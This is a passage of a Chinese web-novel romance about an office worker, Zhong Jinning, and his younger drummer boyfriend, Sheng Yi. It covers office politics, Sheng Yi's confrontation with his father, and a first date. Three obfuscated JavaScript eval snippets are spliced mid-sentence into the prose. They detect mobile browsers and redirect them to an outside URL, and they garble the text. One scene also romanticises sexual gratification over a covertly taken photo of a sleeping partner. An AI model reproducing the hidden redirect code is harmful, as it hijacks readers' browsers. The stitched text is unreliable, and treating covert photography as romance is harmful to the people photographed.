周围的景象被抛在了车窗后面。 钟瑾宁鬼使神差地回了头。 远处的街道上,少年依旧一动不动站在那儿,像在望着他离开的方向,身影在路灯下显得很小,孤零零的。 钟瑾宁犹豫了下,低头给盛熠发消息:【晚上挺冷的,早点回去。】 盛熠回:【好,我听哥哥的。】 语气很乖。 钟瑾宁又回头看了眼,车辆恰巧转了个弯,挡住了所有的景象。 大概回去了吧? 钟瑾宁不确定地想。 回到租住的地方,钟瑾宁给盛熠发消息:【我到了。】 对面立刻回复了个好,就像是一直守在手机旁,在等他的消息。 钟瑾宁又问:【你回去了吗?】 盛熠发来一张照片。 还是那张桌面,但少了一张工牌,多了一盒无糖燕麦酸奶。 盛熠:【哥哥明天几点去公司?】 钟瑾宁:【平时是九点上班,但明早有事,得八点到。】 周末临时出现的工作还需要补充一些资料,今天有同事去了公司,在工作群里热心地问有没有人需要帮忙,钟瑾宁没好意思开口麻烦别人——哪怕只是开个电脑传个资料,几分钟的事。 他打算明早提前去公司把工作做完。 钟瑾宁抿了抿唇,又试探性地问:【谈恋爱,需要做什么?我可能比较忙,没什么时间……】 盛熠:【哥哥平时会做什么?】 钟瑾宁:【就是,上班。】 公司和出租屋两点一线,工作占据生活的大多数时间,循规蹈矩,平凡又无趣。 盛熠:【那我想哥哥有空的时候给我发消息,告诉我什么时候上班,吃的是什么,心情怎么样,工作忙不忙累不累,今天见了什么人。】 钟瑾宁微微张开唇,神色惊愕。 谈个恋爱,要说这么多吗? 钟瑾宁:【不会觉得无聊吗?】 盛熠:【不会。】 盛熠:【我想知道和哥哥有关的一切。说什么都可以,我都想听。】 钟瑾宁只好道:【那好吧。】 听起来这个恋爱,和做工作报告也差不多。 钟瑾宁很快调整了心态,问:【那你明天还去酒吧演出吗?】 盛熠:【明天不去。乐队半个月演出一两次,其他时间在练习。】 钟瑾宁升起几分好奇心:【你们在哪儿练习?】 盛熠:【酒吧是我朋友的,他是乐队主唱,包厢里留了一间专门的练习室让乐队用。】 钟瑾宁:【那你们是想把乐队当作正式的工作吗?】 盛熠:【随便玩玩,没打算当工作。】 对他来说,枯燥且爆裂的鼓点可以宣泄过于疯狂亢奋的情绪,走出那间练习室,又可以伪装成冷淡的模样。 钟瑾宁:【哦……】 他还想问其他的,又觉得两人刚认识,窥探少年的隐私不太好。 盛熠仿佛知道他在想什么:【哥哥想问什么,尽管问。】 钟瑾宁:【没什么,时间很晚了,早点睡。】 他说什么,盛熠便应什么:【好。】 从确定恋爱关系以来,少年乖顺的态度让钟瑾宁逐渐放下戒心。 也许,想和他谈恋爱,是因为少年身边没什么人陪着,感觉到无聊罢了。 钟瑾宁去浴室洗完澡,设置好闹钟,和盛熠发了条消息,没收到回复也不在意,他的生物钟一向稳定,困意袭来,上了床,安稳地入睡了。 【我先睡了,晚安。】 消息在盛熠的手机屏幕最上方跳出来,一闪而过。 手机放在深灰色的床面上,照片占据了整个屏幕,是青年在他的怀里睡着了的模样。 浓密的长睫被泪水沾湿,一缕一缕的,眼尾一点红痣清晰而精致,脸颊晕着绮丽的红,唇瓣被反复舔舐啃咬过,留着齿痕,泛着湿漉漉的红肿。 神色委屈,让人怜爱。 手机的光线落在盛熠的晦暗眼眸里,幽幽的。 “好可怜啊……哥哥。” 少年跪坐在床面上,一只手撑在枕边,手背爆起青筋,另一只手探在布料中。 他的视线贪婪地描摹着那张偷拍的照片,呼吸急促,声线喑哑,颤栗的尾调里是控制不住的病态兴奋。 这样的姿势,仿佛照片上的青年正被禁锢在他的身下。 看起来越无辜,越可怜,衬得他的欲.望越深红,越丑陋不堪。 “哥哥、哥哥……睁眼看我……” 他痴迷地唤。 急促的喘息和黏腻的水声交织,不知道过去多久,房间里响起一声闷哼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129245|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一些痕迹溅落到了照片里青年安静沉睡的脸上。 少年低了头,隆起宽阔的脊背,将额头轻轻抵在了照片上,低低地喟叹一声,闭上眼,掩去眸底的炽热情愫。 就像是野兽伏地,臣服在敬仰的神明前。 · 清晨七点的闹铃准时响起,被子里探出一条手臂,摸索着关了闹钟。 钟瑾宁困倦地坐起身,揉了揉眼尾,习惯性地拿起手机先查看消息。 备注【盛熠】的名字旁边显示有一条未读消息。 ……这是谁? 刚醒来的大脑运转不动,钟瑾宁望着名字呆滞片刻,迟缓地记起这是自己新交的小男朋友。 小他七岁。 刚成年一个月。 在酒吧的时候他跌跌撞撞摔进人家怀里,拉着人特别凶,让要么跟他走要么放他走。 谁能想到随便捡个人,就捡到个高中生啊。 钟瑾宁一阵头疼,点开消息栏,发现盛熠回了他昨晚的晚安消息,隔了大概有半个多小时。 【晚安哥哥,做个好梦。】 果然是年轻人,睡得晚。 钟瑾宁暗地感叹了句,以向上司随时汇报工作进度的态度,认真地告知盛熠自己醒了,现在准备要去公司,而后开始起床收拾。 他住的地方离公司很近,走路十分钟的路程。 七点多的时候,路口已经有不少面向上班族的早餐小推车了。 钟瑾宁在路上买了两个荠菜包和一杯豆浆,进入公司大楼。 市场部这一层空无一人,钟瑾宁用工牌刷开玻璃大门,进了他们组的办公间。 他先开了电脑主机,等待的过程中,一手拿了荠菜包咬了口,另一手点开了手机。 出乎意料的,屏幕上跳出了几条未读消息。 盛熠:【早上好。】 盛熠:【我昨晚做了很好的梦,哥哥睡得好吗?】 盛熠:【到公司了吗,早上吃什么?】 这么早就醒了? 钟瑾宁有些诧异,望了望手里露出青菜馅儿的包子,调整角度,避开电脑屏幕,对准自己的早餐拍了张照片,发过去。 钟瑾宁一条条回复盛熠的问题:【昨晚睡得还行,好像做了梦,但我忘记了梦的内容。到公司了,在吃早餐。】 盛熠:【吃太少了,哥哥。】 分明是陈述的语气,钟瑾宁却听出了温和的不赞同意味。 钟瑾宁不服气:【你吃什么?】 盛熠很快也回了照片。 像是居民区那边楼下的小吃摊,一整个小方桌都被摆满了。 一大碗鸡汤馄饨、一屉小笼包,还有烧麦和糯米鸡,边角处又是一盒燕麦酸奶。 盛熠:【还有一份荠菜蛋卷,老板在忙,还没上。】 钟瑾宁忍不住问:【真的能吃完吗?】 盛熠:【下次一起吃早餐,哥哥就知道了。】 钟瑾宁微怔。 这是在邀请他见面吗? 钟瑾宁逃避似的:【我要去工作了。】 盛熠:【嗯。】 盛熠:【哥哥工作的时候,我可以发消息吗?会不会打扰你?】 钟瑾宁:【可以的。我工作用的vx号和私人用的是分开的,你发消息不会打扰到我。】 又补了句:【但我不一定能及时回复。】 盛熠:【没关系,哥哥有空了再回。】 盛熠:【我等你。】 钟瑾宁心中微微一动,又看了遍今早的聊天记录,心情慢慢变得晴朗。 盛熠真的挺乖的。 就当是多了一个可以聊天的弟弟,好像也不错。 5. 摸鱼 钟瑾宁赶在早会前整理完资料,将电子版发送到了安组长的邮箱,又打印出了纸质版。 【薪贫气和一家人】消息不断。 【完了完了,我打算眯个五分钟结果现在才醒!!谁到了公司吗?能不能帮我印一份资料放氨基酸的桌上!】 【我在早高峰路上被堵死了,我的纸质版也没打印出来,哪个好心人能顺带帮我打印一份[祈祷][祈祷]】 钟瑾宁正站在滋滋作响的打印机旁,打字:【我可以。】 【宁宁!!你就是我的小天使!!】 【感谢宁宝,我把资料在OA系统上发你了[飞吻]】 钟瑾宁接收了几份文件,一并打印出来,装订好后送去了安组长的办公桌上。 九点的时候,安组长人没到,但安排他的助理来检查资料是否齐全,然后带走交去部门了。 助理一走,看似忙碌压抑的工作间气氛骤然变得快活起来。 “氨基酸的狗腿子走了,我们可以摸鱼了!我的茶叶蛋都被我捂凉了,靠,饿死我了。” “来来来!我周末新买的小零食,草莓味儿的黍米条。” 除了安组长和他助理,以及钟瑾宁,其他五六个组员都是毕业没几年的年轻女孩,个个闹腾活泼。 因着钟瑾宁温吞好说话,女孩子们将他划进了自己人的地盘。 巴掌大包装的草莓味黍米条不由分说地被塞进了钟瑾宁的手里:“宁宁,你尝尝,可好吃了!” “我去茶水间煮玫瑰花茶,谁要一杯?” 哗啦啦举起一片手。 她们有一套猫猫陶瓷茶具,笑笑闹闹着,给没举手的钟瑾宁也整了一杯。 递过来的时候,有个同事发现钟瑾宁的唇角破了,好奇地问:“宁宁,你嘴唇怎么啦?” 钟瑾宁捧着花茶,不自在道:“就是……上火了。” 她笑嘻嘻地道:“原来是上火了,我还以为小梨带你去酒吧,你碰到什么艳遇呢。” 这句话一出,四面八方立刻出现炯炯有神的视线。 钟瑾宁有点招架不住。 “没有艳遇,但有乐队演出。” 小梨转着椅子滑过来,笑嘻嘻地帮他解围:“可惜周五你们都有事没去,那天正好赶上方块乐队演出,个个都长得巨帅无比,气氛可热闹可好玩了!是吧宁宁?” 钟瑾宁只记得特别多人,把舞台上的乐队挡得严实,劲爆的音乐和尖叫声冲击在一起,叫他只能捧着鸡尾酒躲在吧台一角。 “是很热闹。” 钟瑾宁忍不住问小梨:“方块乐队,这个乐队很有名吗?” “挺有名的,乐队的主唱是酒吧的店主,在某音上经常发演出视频,每条都是十几万赞,好多粉丝都是冲着主唱来方块酒吧玩。” 小梨用手机在平台上搜索账号,热情介绍:“这是他们乐队的账号。” 有个女孩子凑过来,好奇地点开了一条视频。 视频以晃动的观众视角对准了舞台上的乐队,炫彩的灯光配上激烈的乐点,再加上乐队成员个个颜值出挑,又酷又帅,轻而易举地炒热气氛。 钟瑾宁也跟着看去,认出了作为乐队主唱的红发男生是那天他问路的人。 他想找盛熠在哪里,但是视频镜头转来转去,切得很快,一时之间没看到人。 其他女孩子反馈热情。 “哇!是很帅啊!” “早知道上周五不去和男朋友约会了,跟你们一起过去了。” 有人问:“咦,怎么就坐边上打架子鼓的这个戴口罩?” 钟瑾宁一怔,跟着扫了眼,看清楚人后,心脏蓦然漏跳一拍。 少年戴着黑色口罩,坐在一排金属架子鼓后,身处在昏暗与明亮的晃动光线边界,看不清脸。 黑色t恤卷着袖口,露出肌肉微微鼓胀的结实手臂,爆裂的鼓点急而重,擦出火花般充满力量感,狠狠撞击着耳膜。 风格凶悍,透着狠。 和在他面前,一口一个哥哥地喊着,那种撒娇缠人的模样截然不同。 原来盛熠负责打架子鼓啊。 钟瑾宁有点没想到,又觉得打架子鼓给人的感觉放在少年身上很合适。 张扬、激烈。 再加上那种让人难以招架的强烈冲击感…… 钟瑾宁的记忆滑向那天晚上,赶紧打住,耳尖控制不住地发热。 小梨解释:“这个鼓手一直是这样的,不喜欢露脸,挺低调的,就他没有社交账号。” 有人来了兴趣:“他们乐队下次演出是什么时候啊?我也想去看看。” 小梨答:“不太好说。主唱和贝斯手都是大学生,其他人不清楚,反正平时都没什么空,半个月可能就演出一两次吧,都是临时通知,所以好多人都是有空就去酒吧碰运气。” “啊啊氨基酸来了!” “我去,他今天怎么来这么早?” 玻璃墙外的走廊上出现一个中年男人的身影。 一群女孩子作鸟兽群散,嗖地缩回自己的工位,对着电脑装模作样地忙碌,这里用鼠标点点,那里敲敲键盘。 安组长进来了,在外面也看到了她们刚聚集扎堆聊天,但他心情好,懒得计较,通知十点商务部开早会。 开会的时候,因为他们组前段时间拿到了大单,部长特意表扬了安组长,整个会议室响起一阵掌声。 小梨替钟瑾宁忿忿不平,小声念叨:“瞧氨基酸得意那样,明明是宁宁你做成的,他倒好,把功劳全揽过去了。” 钟瑾宁倒看得开:“至少奖金给到了。” 每周一例行的早会无聊又漫长,有同事遮遮掩掩地摸鱼刷手机。 钟瑾宁平时是放空大脑坐在那儿的那个,这回迟疑了下,借着记事本的遮挡,也偷偷打开了手机。 未读消息4条。 来自同一个人——盛熠。 钟瑾宁抵挡不住好奇心,点开了消息。 他还是第一次在会议中查看和工作无关的内容。 手机上先跳出来的是一张大肥橘猫懒懒趴在墙角根晒太阳的照片。 六月出头,前几日都是灰扑扑的阴天,时不时下点小雨,早晚都得套外套,今天好不容易放了晴,金色的阳光肆意洒落,晒得圆滚滚的橘猫每一根毛发都像在发光。 【今天的天气很好。】 【路上有人发中学辅导班宣传传单,发到我这儿,我说我已经大学毕业了,他不信。】 盛熠的语气困惑:【我看起来这么不像毕业大学生?】 钟瑾宁没忍住,轻笑出了声,又赶紧低了头,压住唇角的弧度。 好在上面的部长慷慨激昂,喷着唾沫星子,没人注意钟瑾宁这边的动静。 钟瑾宁打字:【快毕业的大学生都在为就业考研考编受折磨,精神状态和你不一样的。】 他想了想,又补了句:【他们看起来没你阳光。】 阳光? 盛熠走在路上,感受到手机的振动,拿出来一看,笑了。 他还是第一次被人用这个词形容。 盛熠:【哥哥现在不忙吗?】 钟瑾宁:【在开早会,悄悄回你消息。】 又问:【你呢,在做什么?】 盛熠给他拍了张照片,是地铁站台,黑色玻璃隐约倒映出少年的颀长身影。 盛熠:【在地铁站。】 钟瑾宁:【是要出去玩吗?】 旁边的小梨压低声音:“宁宁,氨基酸在看你。” 钟瑾宁一惊,下意识按灭了手机,抬起头,撞上了安组长的视线。 接下来轮到各组的组长做简短汇报,时不时就得当鼓掌人机,钟瑾宁找不到看手机的机会。 好不容易等到早会结束,安组长招呼钟瑾宁:“小钟啊,来我办公室一趟。” 钟瑾宁惴惴不安,跟着进了里间的办公室,以为是要说他在早会上摸鱼这件事。 安组长对钟瑾宁在早会上看手机没什么微词——钟瑾宁平时的表现太规矩,就算当着他的面玩手机,他也只会觉得是钟瑾宁在和客户联系。 “坐吧。” 钟瑾宁便在办公桌对面坐下,问:“安组长,您找我有什么事吗?” “别紧张,就是找你随便聊聊。” 安组长笑呵呵地道,端起茶杯打开盖子,发现里面是空的,下意识抬头看了眼钟瑾宁。 钟瑾宁坐得拘谨,眼眸眨也不眨,等他的下一句。 安组长啧一声。 要是换了其他人,早有那个眼力站起来给他端茶倒水。 说不定还问几句他平时喜欢什么茶,预备着送礼了。 偏偏对面坐的是钟瑾宁。 安组长把茶杯放了回去,语气和蔼:“小钟啊,你是我面试进来的,我起初呢,是对你很看好的——高材生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129246|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长得也好看,一看就是我们商务部需要的人才啊。虽然面试的时候你的表达能力有些欠缺,但是我相信年轻人嘛,多给些机会,口才都能锻炼出的。” 钟瑾宁听到这段,第一反应是: ——啊,又来了。 旁边有立式饮水机,安组长拿一次性纸杯接了两杯水,把其中一杯推给钟瑾宁。 钟瑾宁接过:“谢谢安组长。” 安组长感慨:“你进我们部门这两年,做的贡献我也知道,我在部长面前也经常夸你。但是部长也总问我,你们组那个小钟怎么没见他参加过什么聚会,最近在做什么呢?说起来惭愧,我都答不上来。” 钟瑾宁没吭声。 商务部免不了对外交际,大多数人和客户拉关系靠的是应酬的饭局、聚会。 又因为要走报销流程,参与的有哪些人,相关的时间地点,都得清清楚楚地填写在发票的背面,故而作为一个领导,对底下的员工动向也有所掌握。 但钟瑾宁不喜欢这样。 他习惯通过线上邮件,分析两边的数据进行合作意向的沟通——直接,且高效。 但每周的工作报告他都如实汇报了,是安组长平时根本没上心去看。 安组长眉飞色舞:“我每次都说,哎呀部长,我们小钟做事风格不太一样,但是工作能力绝对没得说!他平时是不怎么和我们进行沟通,但是客户那边都喜欢他,指明了要和他对接……” 他滔滔不绝,神情丰富,对钟瑾宁连捧带夸,又时不时地摇头贬一句他不合群、不经常和领导沟通,来回地拉扯。 钟瑾宁听得呆呆的,思绪放空,两手捧着纸杯,一点反应都没有。 安组长说得口干舌燥,喝了半杯水,终于进入了正题:“我们部长呢,给我透了个风声。过两个月,他要往总部调,他坐的这个位置就会空出来了。” 钟瑾宁面露茫然。 所以呢,部长的职位空了,和他有什么关系? 安组长见他懵懵的样子,只好挑明了说:“那职位都是一级一级往上升的。新的部长肯定从我们几个组长里选任,那谁被调去当部长,组长的位置,是不是也跟着空出来了?” 又意味深长道:“小钟啊,在我们组里,我最看好的可是你。” 安组长觉得自己的话说得够透了,充满鼓励性的,等着钟瑾宁对他感恩戴德。 钟瑾宁认真道:“小梨她们的能力也很强。” 算了。 安组长生出一种对牛弹琴的无力感,索性直奔主题:“部长私下找到我好几次,让我们一定维护好刚接的这个大单。那个合作你不用跟了,后续的对接转交给我。这几天你就放松一下,明白了吧?” 钟瑾宁恍然大悟。 安组长把他叫进来,费口舌讲了半小时,又是提醒面试的知遇之恩,又是敲打又是画饼,就是为了这个。 就不能,直说吗? 钟瑾宁点头:“我知道了,安组长。” 安组长也松口气,放过了面前这个榆木脑袋,也放过了自己:“行了,你回去吧。” 钟瑾宁出了房间,将手里的联系方式整理好打包发给安组长的助理,也和客户那边做了交接。 小梨找到机会,拉钟瑾宁去了茶水间,给他续玫瑰花茶:“氨基酸找你聊了这么久,说什么呢?” 钟瑾宁一五一十地说完。 “靠!不要脸!他当部长的事根本没影,先给你把饼给画上了。” 小梨生气:“你前前后后忙了这么久,他直接抢过去了?!这次的客户来头这么大,后续肯定还有其他合作,现在全归他了!” 钟瑾宁道:“就算后续有其他的合作,我一个人也应付不过来,就当安组长提前接手分担了吧。” 还反过来笨拙地安慰小梨:“别生气,我就是做了前期的工作,没花什么精力。” 小梨也知道这事没其他办法。 同事之间明争暗斗,互相抢业务这种事多了去了,更何况安组长是他们的上司。 钟瑾宁重新坐回工位前,忙完这么一通,终于想起有个被自己冷落的小男朋友,打开手机一看。 几个小时前,盛熠就回复了他关于在地铁站去哪儿的问题。 盛熠:【不算出去玩。】 盛熠:【我爸把小情人带回家了,我回去砸场子。】 钟瑾宁瞪大双眼:! 砸、砸场子? 6. 牵手 “你要是还是认我是谁!认盛这个姓,就给我滚!” 昂贵的水晶玻璃台灯飞来,在少年的脚边砰的摔碎。 边缘锋利的玻璃四处飞溅,擦过盛熠的脸颊,留下一线血痕。 盛熠的手里拎了个玩具水枪,枪口朝下,滴落着不明的亮蓝液体,在地板上蓄积成一小滩。 他的神情没有分毫波动,淡漠道:“我不认你,也不认盛这个姓,认的是这个家里我妈住过的痕迹。只要我还活着一天,你就别想带其他人住这个房子。” 盛文山裹着睡袍,侧脸、胸膛上沾染着蓝紫色的黏稠液体,滴滴答答顺着肌肤往下流淌。 他面色铁青:“你妈已经死了十几年了,我找点乐子有错吗?你在闹什么!” 盛熠掀起眼皮,看盛文山的眼神像看一个死人:“我妈活着的时候,你的身边断过人吗?少在这儿演了。你在外面想怎么搞就怎么搞,死了也不关我的事,但要是把人带到这儿,就别怪我做出什么事。” 盛文山的胸口窝火,又抓起枕头扔他:“你眼里还有我这个人吗!你怎么不跟着你妈去死!” “不好意思啊,我活得挺好的。”盛熠站着没动,冷笑,“放心好了,作为你唯一的儿子,你下葬的时候我一定给你选一个好位置。” 盛文山气得浑身发抖,他对外的形象一向是斯文儒雅,现在浑身湿透了,连发丝都在滴着蓝水,整个人狼狈不堪。 昨晚盛文山也是一时鬼迷心窍,在这附近应酬,想着盛熠许久没回家了,见时间晚了,懒得去别的房子,就把人带了回来。 哪知道一夜缠绵,温软美人在怀,好梦还没醒,先听到电动枪玩具似的滴滴滴的声响。 他还以为自己在梦中,身边却传来女伴声嘶力竭的尖叫,还没睁眼,冰冷的水液泼了满头满脸。 睁开眼,便见到少年神色冰冷地站在床尾边,用塑料玩具水枪指着他们。 还是最豪华的版本。 圆形枪头自动旋转,光效五颜六色,带着滴滴滴的刺耳音效。 杀伤力低,侮辱性极强。 女伴早已连滚带爬下了床,此刻躲在角落里,摸到了自己脸上的蓝色染料,面露惊恐:“这是什么!——” “你不知道?”盛熠抬起枪口,远远地对准她,偏着头,语气恶劣,“这个啊,毁容用的。” 女伴是个小明星,闻言吓得快晕厥过去,捂着脸,尖声拼命往后躲:“盛总你救救我!我不能毁容!我才刚接了几个大牌代言,叫警察,不行,不能叫警察!新闻不能传出去……” “闭嘴!” 盛文山被她吵得脑袋快炸了。 盛熠笑了起来,肩膀闷闷地颤动着,像对这场闹剧感到很是愉悦。 “你玩够了吗?” 小明星只有脸上有一点蓝色,盛文山却被泼得浑身湿漉漉的,上上下下都是,忍着怒气质问:“盛熠,这到底是什么?” 盛熠懒洋洋道:“要不您早点去医院吧,晚了我怕就来不及了。” 盛文山深吸一口气,知道盛熠是想把他们赶出这个房子,眸底闪过一丝忌惮。 他打了个电话给司机,命人立刻赶过来。 一片狼藉的卧室重归于寂静,只余阳光透过窗台,照亮满地的闪闪碎玻璃。 佣人们都远远地躲了起来,大气不敢出,衬得整栋房子愈发死寂。 盛熠对着空荡荡的卧室,从心底生出几分厌倦和疲惫,刚挺直的单薄肩膀也慢慢地垮了下来。 他随手扔了水枪,看到自己手指也沾染上了蓝紫色的水痕,也不怎么在意,只偏了头,看向阳台。 二楼的阳台一角正对着一株柚子树,叶片繁盛,碧绿如玉片,在风中沙沙作响,细碎的金色光斑在大大小小的青圆果上跳跃。 【小一小一快快长,长得高高的,妈妈带你爬树摘柚子!】 温柔声线在耳边恍惚响起,盛熠的喉咙一时有些干涩。 嗡—— 极轻微的震动响起,在这片安静中,这一点声音像被放大数倍。 盛熠回过神,从兜里拿出手机,划开屏幕。 聊天页面跳出一条又一条新的消息,对面的语气逐渐染上担忧。 【你已经回去了吗?别做什么傻事啊。】 【我刚忙工作去了,没注意到你的消息。】 【不要冲动,要是因为他们赔上自己,不值得的。】 【你答应了会听我的话的。】 少年的唇角浮现几分笑意,低头打字:【哥哥放心,我没打架。】 另一边的钟瑾宁守在手机旁,看到消息,微微放下心来。 刚刚的一瞬间,他的脑海里闪过无数家庭矛盾导致的社会新闻。 再加上少年正是冲动做事的年龄段…… 盛熠:【但我爸用台灯砸了我。】 钟瑾宁刚放下去的心又高高地悬起来:【你受伤了吗?】 盛熠摸了摸自己脸上细细的伤痕,回:【受伤了,哥哥,我好疼。】 语气可怜得,叫钟瑾宁的心脏都揪起来。 钟瑾宁:【去医院】 盛熠:【不要】 盛熠:【我不喜欢医院】 隔了会儿,钟瑾宁发来新的消息。 【你现在在哪儿?】 盛熠的手指一顿,问:【哥哥,你要来找我吗?】 · 盛熠给的地址在市中心的一处广场。 钟瑾宁赶到的时候,少年正坐在广场边缘的木质长椅上,穿着件兜帽卫衣,两条大长腿包裹在笔直的黑裤中,懒散地微微分开。 今天天气好,广场上游客三三两两,有家长带着小孩游玩,小孩咯咯笑着,小手里牵着几只五颜六色的气球。 少年靠坐在长椅上,微微仰头,视线跟着那串气球跑,像在想什么,又像是单纯放空,什么都没想。 他的手指修长,扣着一罐啤酒。 面前降下一片阴影,盛熠的反应慢了一拍,身体未动,手上的啤酒罐被拿走了。 钟瑾宁俯身拿走了盛熠的啤酒,轻叹了口气,问:“都受伤了,怎么还喝酒?” 盛熠没想到他来这么快,坐直了,语气很乖:“哥哥,我只喝了一点。” 又问:“你来找我,会不会耽搁工作?” “我来都来了,你这时候想起来问?”钟瑾宁无奈道,“放心吧。我上司给我放了几天带薪假,我正好没什么事。” 他左右看看,问:“你哪儿受伤了?” 要是很严重,还是得带少年去一趟医院…… 盛熠指了指自己的脸上。 钟瑾宁第一眼还没看见在哪儿,紧张地又扫了圈,最后才把不可置信的目光缓缓停留在那道几不可见的伤痕上。 钟瑾宁:…… 这就是,盛熠说的好疼的伤口? 少年可怜兮兮地问:“哥哥,我破相了,你会不会觉得我变丑了?” 钟瑾宁神色纠结,语气委婉:“不至于破相吧?这伤,大概两天就能好。” 说不定不用两天,明天起来,这伤就不见了。 他忽然注意到盛熠手指上的蓝色痕迹,疑惑问:“你手上是沾了颜料还是油漆?” 盛熠顺着看了眼,笑了下:“是考马斯亮蓝。” 钟瑾宁茫然:“什么?” 盛熠解释:“蛋白质显色剂,没毒,但对肌肤有一定的刺激性,能够快速和皮肤上的汗液发生反应,状态非常稳定。” 他的唇角掀起弧度,蕴着恶作剧成功的小小得意:“我去中学门口买了把水枪,装上考马斯亮蓝,回家飚了我爸一身。至少未来一两周,他的脸都是蓝色的,不敢出去见人。” 钟瑾宁诧异问:“这个染剂洗不了吗?” 盛熠点头:“洗不了,只能等新陈代谢,自然脱落。” 钟瑾宁生了几分好奇,坐在盛熠的身边,捉了他的手。 盛熠顺从地张开手。 少年的手掌宽大,手指骨节分明,食指和中指的指腹沾着一点蓝紫色。 钟瑾宁凑了过去,长睫低垂,指尖轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129247|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰触上去,蹭了蹭,少年手上沾染的痕迹没有分毫褪色。 又稍微用重了点力气,也没有丝毫改变。 盛熠任他研究自己的手指,视线肆意地打量着钟瑾宁眼尾的红痣。 他想起什么,忽然问:“哥哥,你上司怎么突然给你放带薪假?” 钟瑾宁没想到盛熠会注意到这个,顿了顿,含糊其辞:“前段时间刚接了个大单,打算休息几天。” 盛熠立刻夸:“哥哥好厉害。” 钟瑾宁被夸得有些羞赧:“也没有。” 他要是真有这么厉害,这笔订单就不会被抢走了。 “正好哥哥有空,我们去约会吧!”盛熠期待道,“哥哥有什么喜欢做的事吗?” 钟瑾宁一怔,手指还搭在盛熠的指尖上,盛熠无比自然地反手抓握上来,修长的手指蛮横又嚣张地挤进了钟瑾宁的指缝。 手指被迫撑开,少年的手指强势插进来扣住,碰触之间,仿佛有古怪的电流蹿过,让人头皮一阵阵发麻。 钟瑾宁的心脏突突一跳,有些慌,几乎下意识地想抽手离开,却被牢牢地抓着不放。 盛熠追着问:“哥哥在上班的时候是公司和住的地方两点一线,那以前上学的时候呢,要是有空,会做什么?” “盛、盛熠。”钟瑾宁还是第一次叫他的名字,舌头像打结,磕磕绊绊,“你的手……” “我的手怎么啦?” 盛熠低头看了眼,神色无辜又困惑:“我们都谈恋爱了,牵个手不是很正常吗?” 钟瑾宁的耳尖都红了,窘迫地想往后退,偏生盛熠紧紧地抓着他,没有半分要放手的意思。 少年的体温比他高,掌心相贴,源源不断地传来属于陌生的灼热。 传递而来的热度存在感太强,像有火舌燃烧,舔舐着他的掌心。 钟瑾宁慌乱地看了眼周围,好在附近的路人都在做自己的事,没注意到这边。 盛熠没错过他的举动,眉宇微拧,问:“哥哥不想和我牵手?怕被人看见?” 钟瑾宁难以启齿:“我……” 商务部的职场着装要求严格,他穿着件浅蓝色衬衫和休闲西裤,黑色皮鞋锃亮,一看就是上班族。 反观盛熠五官俊逸,眉眼间尚带着青涩感,打扮随意,耳钉耀眼,一身掩不住的桀骜少年气。 他们站在一起,明眼人都知道两人的年龄差距。 盛熠明亮的眼眸一点一点黯淡下去,慢慢地松开了钟瑾宁的手。 “我爸不喜欢我,每次见面,不是让我滚出家门,就是问我怎么不跟着我妈去死。朋友们也是看我可怜,所以拉着我一起玩。” 他的声音也变得失落:“那天晚上哥哥主动撞进我的怀里,我以为哥哥见到我的第一眼是喜欢我的,或者说,至少喜欢我的脸……” “我本来很开心的,以为终于有人就算不知道我的所有,也愿意接近我。我是不是会错哥哥的意了?其实我还是可有可无的那一个,那天晚上我只是运气好,所以被哥哥选中……” 钟瑾宁赶紧握住了盛熠离开的手,力度甚至比盛熠刚刚抓他的时候还要重。 他急切道:“不是的!我喝了那杯酒就感觉自己很晕了,想先回去,遇到你之前,有好几个人来和我搭话,我都没理他们,只有你……” 钟瑾宁臊得整张脸都红透了,又怕不说清楚,会伤了少年脆弱的自尊心,忍着羞耻,道:“只有你出现在我的眼前,我想的是——如果是你的话,我愿意。” 人都是视觉动物,连他也不能免俗。 盛熠的眼眸重新焕发光亮,紧紧地握着他的手,确认般追问:“只有我?” 钟瑾宁认真地点头:“只有你。” 又闭了闭眼,为自己第一次见面就钟意少年这件事加可信度似的,低声道:“要牵手……就牵吧,我刚不是不愿意,是第一次谈恋爱,不太适应。” “我也是第一次谈恋爱,不太适应。”盛熠笑起来,和钟瑾宁十指相扣,声音黏黏糊糊,“但是为了哥哥,我会努力的。” 7. 外套 有路人在他们的身边经过,钟瑾宁不知道是不是自己的心理因素作祟,总觉得路人在用奇异的目光打量着他们俩,有几分如坐针毡。 但话已经放出去了,松手是不可能的。 盛熠的目光灼灼,紧盯着钟瑾宁,没受外界半分影响,热切道:“哥哥还没告诉我,你以前是学生的时候喜欢做什么?” 他自信盘算着:约会就是要投其所好,做恋人喜欢的事,讨他开心—— 钟瑾宁脱口而出:“我喜欢做数学题。” 